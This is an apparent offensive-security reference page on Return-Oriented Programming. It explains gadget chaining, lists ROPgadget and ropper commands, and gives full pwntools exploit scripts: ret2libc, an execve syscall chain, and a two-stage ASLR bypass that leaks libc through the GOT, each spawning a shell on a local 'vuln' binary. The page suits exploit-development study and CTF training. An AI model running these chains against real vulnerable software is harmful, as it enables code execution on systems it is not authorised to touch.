Return-Oriented Programming
Overview
Return-Oriented Programming (ROP) is a code-reuse technique that chains small
instruction sequences (gadgets) already present in the binary or loaded
libraries to perform arbitrary operations. Each gadget ends with a ret
instruction, which pops the next address from the stack and transfers control
to the next gadget.
ROP is the primary bypass for NX (No-Execute) protection. Since the gadgets reside in executable memory (the text segment), NX does not block their execution.
ATT&CK Mapping
- Tactic: TA0002 - Execution
- Technique: T1203 - Exploitation for Client Execution
Prerequisites
- A stack buffer overflow with control of the return address
- NX enabled (otherwise direct shellcode is simpler)
- A non-PIE binary (for static gadget addresses) or a PIE binary with a leaked base address
- Gadget-finding tools: ROPgadget, ropper, or pwntools ROP
How ROP Works
Instead of injecting executable code, the attacker builds a "ROP chain" — a sequence of addresses on the stack, each pointing to a gadget:
Stack layout (attacker-controlled):
┌──────────────────┐
│ addr of gadget 1 │ ← RSP after overflow
├──────────────────┤
│ addr of gadget 2 │
├──────────────────┤
│ value for register│ (popped by gadget)
├──────────────────┤
│ addr of gadget 3 │
├──────────────────┤
│ ... │
└──────────────────┘
When the vulnerable function returns, ret pops gadget 1's address into RIP.
Gadget 1 executes its instructions and ends with ret, which pops gadget 2's
address, and so on.
Finding Gadgets
ROPgadget
# ROPgadget
# https://github.com/JonathanSalwan/ROPgadget
# List all gadgets in a binary
ROPgadget --binary ./vuln
# Search for specific gadgets
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
ROPgadget --binary ./vuln --only "pop|ret" | grep rsi
# Filter out bad bytes (e.g., null bytes)
ROPgadget --binary ./vuln --badbytes "00"
# Search for a string in the binary
ROPgadget --binary ./vuln --string "/bin/sh"
# Auto-generate a ROP chain (for simple binaries)
ROPgadget --binary ./vuln --ropchain
# Search in libc (for more gadgets)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
Key flags:
- --binary — target binary to analyze
- --only — filter gadgets by instruction type (pipe-separated)
- --badbytes — exclude gadgets containing specific bytes
- --string — search for string data in the binary
- --ropchain — attempt automatic ROP chain generation
- --depth — maximum gadget depth in instructions (default 10)
ropper
# ropper
# https://github.com/sashs/ropper
# List all gadgets
ropper --file ./vuln
# Search for specific gadgets
ropper --file ./vuln --search "pop rdi"
ropper --file ./vuln --search "pop rsi"
ropper --file ./vuln --search "pop rdx"
# Filter by bad bytes
ropper --file ./vuln -b 00
# Search for syscall gadgets
ropper --file ./vuln --search "syscall"
# Find stack pivot gadgets
ropper --file ./vuln --stack-pivot
# Search for a specific instruction sequence
ropper --file ./vuln --search "mov rdi, rsp"
Key flags:
- --file — target binary
- --search — search for gadgets matching a pattern
- -b — bad bytes to exclude
- --stack-pivot — find gadgets that change RSP
- --inst-count — maximum instruction count per gadget
- --type — gadget type (rop, jop, sys, all)
Common Gadget Types
| Gadget | Purpose |
|---|---|
pop rdi; ret |
Load 1st argument for function call |
pop rsi; pop r15; ret |
Load 2nd argument (r15 is junk) |
pop rdx; ret |
Load 3rd argument |
pop rax; ret |
Load syscall number |
syscall; ret |
Execute syscall |
ret |
Stack alignment (NOP equivalent) |
leave; ret |
Stack pivot (set RSP to RBP value) |
On x86-64, pop rsi; ret alone is rare — often appears as
pop rsi; pop r15; ret because of how GCC compiles function prologues.
ROP Chain: ret2libc (system("/bin/sh"))
The most common ROP target — call system("/bin/sh") using libc:
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset = 72 # buffer to return address
# Gadgets from binary (use ROPgadget to find addresses)
pop_rdi = 0x401234 # pop rdi; ret (replace with actual)
ret = 0x40101a # ret (for stack alignment)
# libc addresses (with ASLR disabled for testing)
libc_base = 0x7ffff7c00000 # replace with actual
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# Build ROP chain
payload = b'A' * offset
payload += p64(ret) # 16-byte stack alignment
payload += p64(pop_rdi) # pop "/bin/sh" address into RDI
payload += p64(bin_sh) # address of "/bin/sh" string
payload += p64(system) # call system()
p = process('./vuln')
p.sendline(payload)
p.interactive()
ROP Chain: execve Syscall
Directly invoke execve("/bin/sh", NULL, NULL) via syscall without calling
libc functions. Requires gadgets for RAX, RDI, RSI, RDX, and a syscall
instruction:
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.binary = elf = ELF('./vuln')
offset = 72
# Gadgets (replace addresses with actual values from ROPgadget)
pop_rax = 0x401234 # pop rax; ret
pop_rdi = 0x401235 # pop rdi; ret
pop_rsi = 0x401236 # pop rsi; pop r15; ret
pop_rdx = 0x401237 # pop rdx; ret
syscall = 0x401238 # syscall; ret
bin_sh = next(elf.search(b'/bin/sh')) # if string exists in binary
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(bin_sh) # filename = "/bin/sh"
payload += p64(pop_rsi)
payload += p64(0) # argv = NULL
payload += p64(0) # junk for r15
payload += p64(pop_rdx)
payload += p64(0) # envp = NULL
payload += p64(pop_rax)
payload += p64(59) # execve syscall number
payload += p64(syscall)
p = process('./vuln')
p.sendline(payload)
p.interactive()
Automated ROP with pwntools
pwntools can automatically find gadgets and build ROP chains:
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.binary = elf = ELF('./vuln')
rop = ROP(elf)
offset = 72
# Automatically find gadgets
# rop.rdi is shorthand for: pop rdi; ret
rop.call('puts', [elf.got['puts']]) # leak puts GOT entry
rop.call(elf.symbols['main']) # return to main for second stage
payload = b'A' * offset
payload += rop.chain()
p = process('./vuln')
p.sendline(payload)
Key pwntools ROP methods:
rop = ROP(elf)
rop.call(function, [args]) # call function with arguments
rop.raw(addr) # push raw address onto chain
rop.find_gadget(['pop rdi', 'ret']) # find specific gadget
rop.chain() # generate the final payload bytes
rop.dump() # print the chain for debugging
Leaking libc with ROP (ASLR Bypass)
When ASLR is enabled, use ROP to leak a libc function address from the GOT, then calculate the libc base for a second-stage payload:
# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)
offset = 72
# Stage 1: Leak puts address from GOT
rop.call('puts', [elf.got['puts']])
rop.call(elf.symbols['main']) # return to main
payload = b'A' * offset
payload += rop.chain()
p = process('./vuln')
p.sendline(payload)
# Parse leaked address
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked_puts)}")
# Calculate libc base
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
# Stage 2: ret2libc with known addresses
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])
payload2 = b'A' * offset
payload2 += p64(rop.find_gadget(['ret'])[0]) # stack alignment
payload2 += rop2.chain()
p.sendline(payload2)
p.interactive()